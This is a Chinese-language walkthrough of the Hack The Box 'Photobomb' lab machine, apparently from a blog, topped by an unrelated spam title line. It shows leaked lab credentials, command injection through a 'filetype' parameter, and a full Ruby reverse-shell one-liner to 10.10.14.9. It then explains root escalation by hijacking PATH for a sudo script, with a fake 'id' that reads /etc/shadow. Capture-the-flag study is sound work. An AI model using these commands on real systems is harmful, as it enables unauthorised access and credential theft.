網(wǎng)站建設(shè)公司在線qq客服代碼單頁(yè)網(wǎng)站怎么優(yōu)化
HTB-Photobomb
- 信息收集
- 開(kāi)機(jī)
- 提權(quán)
- 對(duì)于問(wèn)題的思考
信息收集
端口掃描
目標(biāo)首頁(yè)
有一個(gè)http Authorization
目錄掃描
在查看源碼的時(shí)候發(fā)現(xiàn)了一個(gè)js文件。
并且發(fā)現(xiàn)了訪問(wèn)不存在的目錄會(huì)出現(xiàn)錯(cuò)誤提示。
通過(guò)搜索得知
Sinatra 是一個(gè)基于 Ruby 語(yǔ)言的 DSL(領(lǐng)域?qū)僬Z(yǔ)言),可以輕松、快速的創(chuàng)建 web 應(yīng)用。-------Sinatra 中文文檔
通過(guò)上面發(fā)現(xiàn)了http Authorization的登陸憑證pH0t0:b0Mb!
,使用憑證登錄。
登陸進(jìn)去沒(méi)有發(fā)現(xiàn)什么,決定開(kāi)始第二次信息收集,沒(méi)錯(cuò),沒(méi)有額外收獲。對(duì)其下載功能使用bp,能看見(jiàn)三個(gè)參數(shù)。
估計(jì)突破口在這三個(gè)參數(shù)當(dāng)中,誰(shuí)知道呢,因?yàn)榍懊嬷繱inatra,所以首先考慮ruby,經(jīng)過(guò)簡(jiǎn)單測(cè)試發(fā)現(xiàn)突破點(diǎn)應(yīng)在filetype,并且無(wú)法正確回彈。
開(kāi)機(jī)
沒(méi)關(guān)系,至少證明我應(yīng)該找到方向了,但是為什么會(huì)回彈沒(méi)有完全成功。不會(huì)防火墻攔截了吧。更換了一個(gè)ruby的reshell腳本。
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'
提權(quán)
通過(guò)sudo -l能發(fā)現(xiàn)一個(gè)文件。
文件內(nèi)容與下,最重要的應(yīng)該是最后一句。在source_images目錄里找到所有jpg文件并且給予root:root。
立即想到的方法是通過(guò)這個(gè)腳本修改所屬者和組的權(quán)限,使用bash -p選項(xiàng)將root組添加至wizard用戶(hù)組。似乎不行。
雖然在hacktrick上找到了可能能用的方法,但是我沒(méi)研究出來(lái)。
又出現(xiàn)問(wèn)題了,大概率是用法不對(duì)。
因?yàn)槟_本使用的find命令,注意這個(gè)find命令并不是絕對(duì)路徑。
又因?yàn)橄到y(tǒng)環(huán)境變量PATH里面有/usr/bin,所以我們能夠直接用find調(diào)用/usr/bin/find。
如果我對(duì)系統(tǒng)變量進(jìn)行修改,使之find為我們自己創(chuàng)建的一個(gè)同名文件。
接著要做的就是把/tmp目錄添加到系統(tǒng)環(huán)境變量里。
PATH=/tmp:$PATH
然后執(zhí)行腳本發(fā)現(xiàn)沒(méi)有作用,為什么呢。
然后嘗試以下方式能成功,這又是為什么。
對(duì)于問(wèn)題的思考
為了知道那兩個(gè)為什么,我做了個(gè)實(shí)驗(yàn)。tee.sh里面只有id命令,然后當(dāng)前目錄下有一個(gè)id同名文件,在修改系統(tǒng)環(huán)境變量命令后面加上要執(zhí)行的腳本,就會(huì)出現(xiàn)要執(zhí)行的腳本使用前面系統(tǒng)環(huán)境變量里面的id文件(也就是當(dāng)前目錄下的id)。
id內(nèi)容如下。
tee.sh的內(nèi)容為。
先分開(kāi)運(yùn)行看看。能看到加入環(huán)境變量前后id的命令發(fā)生了改變,并且再用sudo會(huì)發(fā)現(xiàn)tee.sh文件內(nèi)的id是查看用戶(hù)(組)的命令,而不是cat /etc/shadow。
這次加上合著一起用。可以看到使用sudo執(zhí)行了當(dāng)前目錄文件id的cat /etc/shadow。
也就是說(shuō)如果需要讓腳本內(nèi)的命令以某個(gè)路徑下的同名命令替換運(yùn)行并以sudo權(quán)限運(yùn)行的話就需要sudo PATH:somepath:$PATH somescript.sh
。至于為什么,我覺(jué)得以我目前的水平只能認(rèn)為這可能是一種固定的使用方式,至于真的是否如此,只有等日后探究真相。